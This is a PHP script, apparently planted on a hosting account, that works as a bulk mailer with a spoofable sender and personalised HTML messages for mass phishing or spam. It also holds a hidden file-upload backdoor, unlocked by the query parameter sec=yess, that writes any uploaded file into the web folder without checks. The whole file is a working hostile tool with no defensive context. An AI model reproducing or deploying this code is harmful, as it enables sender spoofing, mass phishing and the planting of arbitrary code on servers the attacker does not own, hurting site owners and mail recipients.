File: /home/wbwebdes/domains/surfnrip.com/private_html/japon.php
<?php
// 1. Mostrar errores para diagnóstico (puedes quitarlo luego)
error_reporting(E_ALL);
ini_set('display_errors', 1);
@set_time_limit(0);
// Procesar datos iniciales
if(isset($_POST['Enoc'])) {
$message = stripslashes($_POST['html']);
$subject = $_POST['assunto'];
$de = $_POST['de'];
$nombre = $_POST['RealName'];
$ellos = $_POST['ellos'];
} else {
$message = "<html><body><h1>hola my friend, How are u ?</h1></body></html>";
$subject = isset($_SERVER["HTTP_HOST"]) ? $_SERVER["HTTP_HOST"] : "Sin Asunto";
$nombre = "postales";
$de = "[email protected]";
$ellos = "[email protected]";
}
?>
<html>
<head>
<title>Mailer_2021-Piwin3tRlZ</title>
</head>
<body style="font-family: Arial; font-size: 11px">
<center>
<form action="" method="post" enctype="multipart/form-data" name="form1">
<br>
<table width="534" border="0" cellpadding="0" cellspacing="1" bgcolor="#0000CC" class="normal">
<tr>
<td>
<table border="0" bgcolor="#FFFFFF" width="100%">
<tr>
<td>
<table border="0" width="100%">
<tr>
<td width="359">Email: <input name="de" type="text" id="de" size="30" value="<?php echo htmlspecialchars($de); ?>"></td>
<td>Nombre: <input name="RealName" type="text" id="RealName" size="30" value="<?php echo htmlspecialchars($nombre); ?>"></td>
</tr>
</table>
</td>
</tr>
<tr>
<td>Asunto: <input name="assunto" type="text" id="assunto" size="78" value="<?php echo htmlspecialchars($subject); ?>"></td>
</tr>
<tr>
<td height="18" bgcolor="#C0C0C0"></td>
</tr>
<tr>
<td>
<table border="0" width="100%">
<tr>
<td><textarea name="html" cols="66" rows="10" id="html"><?php echo htmlspecialchars($message); ?></textarea></td>
<td><textarea rows="10" name="ellos" cols="35"><?php echo htmlspecialchars($ellos); ?></textarea></td>
</tr>
</table>
</td>
</tr>
<tr>
<td><center><br><input type="submit" name="Enoc" value="Enviar"></center><br>
<?php
// --- SECCIÓN DE SUBIDA CORREGIDA ---
if(isset($_GET['sec']) && $_GET['sec'] == 'yess') {
echo '<div style="background:#eee; padding:10px; border:1px solid #ccc;">';
echo 'Subir archivo: <input name="archivo" type="file" />';
echo '<input name="action" type="hidden" value="upload" />';
echo '<input type="submit" value="Subir Ahora">';
echo '</div>';
if (isset($_POST["action"]) && $_POST["action"] == "upload") {
if (!isset($_FILES['archivo']) || $_FILES['archivo']['error'] == UPLOAD_ERR_NO_FILE) {
echo "<br><font color=red>Error: No seleccionaste ningún archivo.</font>";
} elseif ($_FILES['archivo']['error'] == UPLOAD_ERR_INI_SIZE) {
echo "<br><font color=red>Error: El archivo es más grande de lo que permite el servidor.</font>";
} elseif ($_FILES['archivo']['error'] != UPLOAD_ERR_OK) {
echo "<br><font color=red>Error de subida código: " . $_FILES['archivo']['error'] . "</font>";
} else {
$nombre_archivo = basename($_FILES["archivo"]['name']);
$destino = "./" . $nombre_archivo;
// Verificar si la carpeta tiene permisos
if (!is_writable("./")) {
echo "<br><font color=red>Error: La carpeta no tiene permisos de escritura (CHMOD 755 o 777).</font>";
} elseif (move_uploaded_file($_FILES['archivo']['tmp_name'], $destino)) {
echo "<br><font color=green><b>✅ ¡Éxito! Archivo subido: $nombre_archivo</b></font>";
} else {
echo "<br><font color=red>Error crítico: No se pudo mover el archivo al destino.</font>";
}
}
}
}
// --- LÓGICA DE ENVÍO DE CORREOS ---
if(isset($_POST['Enoc'])) {
$lista_emails = explode("\n", str_replace("\r", "", $ellos));
$total = count($lista_emails);
$enviados = 0;
$headers = "MIME-Version: 1.0\r\n";
$headers .= "Content-type: text/html; charset=iso-8859-1\r\n";
$headers .= "From: $nombre <$de>\r\n";
foreach($lista_emails as $index => $email) {
$email = trim($email);
if(empty($email)) continue;
$msg_personalizado = str_replace('%email%', $email, $message);
if(@mail($email, $subject, $msg_personalizado, $headers)) {
echo "<font color=blue size=1>[" . ($index+1) . "/$total] :-) $email Enviado</font><br>";
} else {
echo "<font color=red size=1>[" . ($index+1) . "/$total] :-( $email Falló</font><br>";
}
flush();
}
echo "<script>alert('Proceso finalizado');</script>";
}
?>
</td>
</tr>
</table>
</td>
</tr>
</table>
</form>
</center>
</body>
</html>